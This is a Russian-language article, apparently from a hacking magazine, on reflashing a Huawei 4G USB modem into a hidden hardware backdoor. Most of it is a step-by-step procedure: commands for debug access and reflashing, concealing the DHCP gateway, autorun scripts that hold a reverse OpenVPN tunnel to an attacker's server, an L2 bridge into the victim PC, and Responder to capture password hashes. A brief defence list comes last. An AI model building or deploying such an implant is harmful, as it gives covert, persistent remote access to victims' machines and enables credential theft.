Атака на систему через USB-модем 

Атака на систему через USB-модем 

Matrix

За­думы­вал­ся ли ты о том, что сов­ремен­ные 4G-модемы (HiLink) — это устрой­ства чуть боль­ше флеш­ки с нас­тоящим Linux внут­ри? Нап­ример, Android 2.3 / Linux 3.4.5 + VxWorks v6.8 для GSM. Это пол­ностью авто­ном­ные устрой­ства с питани­ем по USB. Сра­зу пос­ле под­клю­чения к компь­юте­ру ОС модема за нес­коль­ко секунд заг­ружа­ется и эму­лиру­ет свой USB как сетевую кар­ту.

Для опи­сыва­емой в этой статье ата­ки луч­шим аппа­рат­ным решени­ем будет непос­редс­твен­но сам HiLink-модем: он ком­пактен и име­ет 4G-модуль. Это может быть, нап­ример, популяр­ный Huawei E3372h-153, который поз­воля­ет сде­лать переп­рошив­ку, к тому же у него богатая под­дер­жка сооб­щес­твом энту­зиас­тов.

Сов­ремен­ные 4G-модемы пред­став­ляют собой HiLink-модемы, то есть они опре­деля­ются в сис­теме как сетевая кар­та. Для ОС ПК поль­зовате­ля мак­сималь­но удоб­но вза­имо­дей­ство­вать с интерне­том через такую вир­туаль­ную Ethernet-сеть. Но в то же вре­мя и сам модем может исполь­зовать­ся для вза­имо­дей­ствия с компь­юте­ром, к которо­му он под­клю­чен. Внут­ри модема работа­ет пол­ноцен­ная ОС, которая так же, как было про­демонс­три­рова­но с BadUSB-ETH, эму­лиру­ет сетевую кар­ту. Схе­ма зак­репле­ния на ском­про­мети­рован­ной машине при помощи такого устрой­ства показа­на на сле­дующем рисун­ке.

Ин­форма­цион­ные потоки при зак­репле­нии по USB

Для зак­репле­ния в похожих обсто­ятель­ствах сущес­тву­ет готовый девайс под наз­вани­ем LAN Turtle, одна­ко он лишен важ­ной осо­бен­ности — под­дер­жки сто­рон­него 4G-канала.

РЕАЛИЗАЦИЯ

Са­мо устрой­ство нас­толь­ко удач­но под­ходит для орга­низа­ции уда­лен­ного дос­тупа, что понадо­бит­ся минимум изме­нений. Его глав­ные пре­иму­щес­тва:

  • не тре­бует допол­нитель­ного питания;
  • скры­тое под­клю­чение, устрой­ство не будет вид­но в локаль­ной сети, так как работа­ет толь­ко в пре­делах ском­про­мети­рован­ного компь­юте­ра;
  • ав­тоном­ный канал переда­чи дан­ных 4G поз­волит иметь дос­туп даже внут­ри изо­лиро­ван­ных локаль­ных сетей.

Для мак­сималь­ной эффектив­ности устрой­ство пот­ребу­ется нем­ного дорабо­тать — переп­рошить модем. Пос­ле всех вне­сен­ных изме­нений ОС модема авто­мати­чес­ки уста­новит VPN-соеди­нение с кон­троль­ным сер­вером через 4G-сеть (внеш­ний канал) и обес­печит таким обра­зом устой­чивый сетевой дос­туп к ПК, в который встав­лен модем. Изна­чаль­но получить дос­туп к ОС модема мож­но одним из сле­дующих спо­собов:

telnet 192.168.8.1

adb connect 192.168.8.1:5555

Что­бы выпол­нить даль­нейшие нас­трой­ки, пот­ребу­ется вклю­чить пор­ты для AT-команд:

curl http://192.168.8.1/html/switchDebugMode.html

minicom -D /dev/ttyUSB0

Пос­ле вклю­чения отла­доч­ного режима ОС модема может быть модифи­циро­вана, для это­го нуж­но вой­ти в режим переп­рошив­ки и заг­рузить откры­тую про­шив­ку:

at^godload # Переход в режим прошивки. Модем перезагрузится

sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.00_M_AT_05.10_nv.exe

Пос­ле запус­ка модем обыч­но эму­лиру­ет CD-ROM с драй­верами плюс SD-кар­ту. Это нуж­но отклю­чить, пос­коль­ку девай­су тре­бует­ся толь­ко эму­ляция сети:

AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 # Не переходить в режим CD-ROM при запуске, включен RNDIS/CDC

AT^RESET # Перезагрузка

Да­лее сле­дует модифи­циро­вать сер­вер DHCP, что­бы модем не объ­являл себя шлю­зом и на компь­юте­ре не ломалась таб­лица мар­шру­тиза­ции. Модем дол­жен под­клю­чать­ся мак­сималь­но скрыт­но:

cat <<EE > /data/config

Interface br0

MinLease 30

Vendorid c0012

Address main

EnbSrv 1

Start 192.168.8.100

End 192.168.8.200

Option lease 86400

Option subnet 255.255.255.0

Address main end

EE

Те­перь нуж­но ско­пиро­вать на модем кли­ент OpenVPN с драй­вером и кон­фигом. Что­бы ничего не ком­пилиро­вать, готовые бинар­ники мож­но ска­чать с сай­та 4PDA:

adb push tun.ko /online/ovpn/

adb push openvpn /online/ovpn/

adb push vds.ovpn /online/ovpn/

cat <<EE > /data/vpn.sh

#!/system/bin/busybox sh

while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn --route-noexec; done

EE

chmod 700 /data/vpn.sh

busybox passwd

reboot

Для боль­шей надеж­ности обратно­го под­клю­чения VPN луч­ше запус­кать в бес­конеч­ном цик­ле. Оста­лось лишь нас­тро­ить авто­запуск все­го это­го доб­ра и не забыть орга­низо­вать мар­шру­тиза­цию пакетов через модем от 4G-сети в сто­рону целево­го компь­юте­ра:

mount -o remount,rw /dev/block/mtdblock16

cat <<EE >> /system/etc/autorun.sh

/data/autorun.sh &

EE

cat <<EE > /data/autorun.sh

#!/system/bin/busybox sh

killall dhcps.real

cp /data/config /var/dhcp/dhcps/config

dhcps.real &

sleep 5

insmod /online/ovpn/tun.ko

/data/vpn.sh &

iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE

iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP

iptables -I FORWARD 2 -i br0 -o wan0 -j DROP

EE

chmod 700 /data/autorun.sh

Так­же на модеме зап­рещен выход в 4G-интернет с ПК и прик­рыта веб‑админка. Теперь модем пол­ностью «заряжен» и готов к исполь­зованию в качес­тве аппа­рат­ной зак­ладки.

ЗАКРЕПЛЕНИЕ

В резуль­тате аппа­рат­ный бэк­дор может выг­лядеть при­мер­но так.

Под­клю­чение аппа­рат­ной зак­ладки к ПК

Дос­таточ­но неп­римет­но, не прав­да ли? Прос­то какая‑то боль­шая флеш­ка, подума­ет рядовой поль­зователь. Если у зло­умыш­ленни­ка есть воз­можность доб­рать­ся до USB-пор­та компь­юте­ра, то мало кто сра­зу заметит столь «стран­ное» устрой­ство. Это обес­печит потен­циаль­ному зло­умыш­ленни­ку дли­тель­ный сетевой дос­туп к цели по авто­ном­ному каналу. Заметь, что тут исполь­зует­ся имен­но сто­рон­ний канал для уда­лен­ного под­клю­чения, так что боль­ше не тре­бует­ся выход в интернет из внут­ренней сети. Канал мобиль­ной сети пре­дос­тавля­ет зло­умыш­ленни­ку гаран­тирован­ный уда­лен­ный дос­туп.

По­луче­ние сетево­го дос­тупа к ПК через аппа­рат­ную зак­ладку

Те­лефон и LAN Turtle под­клю­чены к одно­му и тому же сер­веру VPN, который свя­зыва­ет их сетевой тра­фик. 4G-модем перенас­тро­ен так, что­бы про­пус­кать тра­фик в нехарак­терном обратном нап­равле­нии — через себя в сто­рону компь­юте­ра, подоб­но шлю­зу. Даже на рас­сто­янии тысяч километ­ров у зло­умыш­ленни­ка будет пря­мой сетевой дос­туп к ском­про­мети­рован­ной машине.

В пред­став­ленном при­мере телефон и ноут­бук никак не свя­заны нап­рямую и работа­ют в раз­ных сетях. Ноут­бук — в локаль­ной сети по про­воду без интерне­та, а телефон — по 4G. Но пос­ле добав­ления мар­шру­та до компь­юте­ра жер­твы через 4G-модем телефон ата­кующе­го получа­ет уда­лен­ный дос­туп к ПК.

L2-ДОСТУП

По­доб­ный спо­соб зак­репле­ния дает сетевой дос­туп толь­ко до машины, к которой под­клю­чен модем. Даль­нейшие дей­ствия ата­кующе­го соп­ряжены с необ­ходимостью получить логичес­кий дос­туп, то есть взло­мать сис­тему и управлять ей. В слу­чае успе­ха это дает как кон­троль над самим компь­юте­ром, так и воз­можность идти даль­ше — вглубь локаль­ной сети. Что­бы ата­ковать целевую сис­тему было про­ще, может пот­ребовать­ся орга­низо­вать более близ­кий к цели L2VPN-тун­нель.

Не­обхо­димо проб­росить еще один VPN-тун­нель внут­ри уже име­юще­гося. Если пер­вый VPN исполь­зовал­ся исклю­читель­но для свя­зи с устрой­ством lan_turtle, то вто­рой дает мак­сималь­но воз­можный сетевой дос­туп до компь­юте­ра через эму­лиро­ван­ную по USB сеть.

Для это­го внут­ри USB-модема нуж­но выпол­нить еще нес­коль­ко команд, которые соз­дадут VPN-тун­нель и помес­тят ново­испе­чен­ный вир­туаль­ный интерфейс в сетевой мост с USB-интерфей­сом:

./openvpn --config l2.ovpn --route-noexec

brctl addif br0 tap1

ifconfig tap1 0

Здесь кон­фигура­цион­ный файл может быть соз­дан пря­мо внут­ри модема при­мер­но со сле­дующим содер­жимым:

l2.ovpn

lclient

proto tcp

dev tap

remote 172.16.0.10 1194

<ca>

</ca>

<cert>

</cert>

<key>

</key>

keepalive 10 60

persist-key

persist-tun

L2VPN-интерфейс будет иметь IP-адрес, который на самом деле не нужен, пос­коль­ку уже работа­ет OpenVPN. Но его мож­но сбро­сить, пос­ле чего прос­то помес­тить интерфейс в мост. В резуль­тате в VPN-интерфейс пой­дут L2-пакеты от ском­про­мети­рован­ной машины. И ата­кующий не прос­то получит логичес­кий сетевой дос­туп до целево­го ПК, он будет видеть его, слов­но вот­кнул­ся в ПК прос­тым интернет‑кабелем.

На сто­роне ата­кующе­го тре­бует­ся лишь под­клю­чить­ся к модему и соз­дать VPN-тун­нель, пос­ле чего вруч­ную выс­тавить ему IP-адрес из под­сети сетево­го адап­тера компь­юте­ра жер­твы:

sudo openvpn --config lan_turtle.ovpn --route-noexec

sudo ifconfig tap0 192.168.8.200/24

Кон­фигура­цион­ный файл для под­клю­чения к lan_turtle, что­бы открыть L2VPN-тун­нель, выг­лядит так:

lan_turtle.ovpn

local 172.16.0.10

port 1194

proto tcp

dev tap

user nobody

<ca>

</ca>

<cert>

</cert>

<key>

</key>

<dh>

</dh>

server 192.168.9.0 255.255.255.0

keepalive 10 180

verb 3

Те­перь зло­умыш­ленник получит мак­сималь­но пол­ный сетевой дос­туп к компь­юте­ру через 4G-модем. L2-тун­нель поз­воля­ет запус­тить ата­ки на про­колы каналь­ного уров­ня, а так­же на NetBIOS с помощью Responder и получить хеш пароля поль­зовате­ля:

responder -I tap0 -r -d -w -F

КАК ЗАЩИТИТЬСЯ

Пос­коль­ку зак­репля­ется зло­умыш­ленник через USB-порт, меры про­тиво­дей­ствия такие же, что и в слу­чае с BadUSB:

  • ис­поль­зовать спе­циали­зиро­ван­ные прог­рам­мные решения, что­бы бло­киро­вать недове­рен­ные USB-устрой­ства;
  • от­клю­чить под­дер­жку сетевых карт USB в груп­повых полити­ках;
  • ре­гуляр­но осматри­вать компь­юте­ры;
  • кон­тро­лиро­вать физичес­кий дос­туп к ПК.






Report Page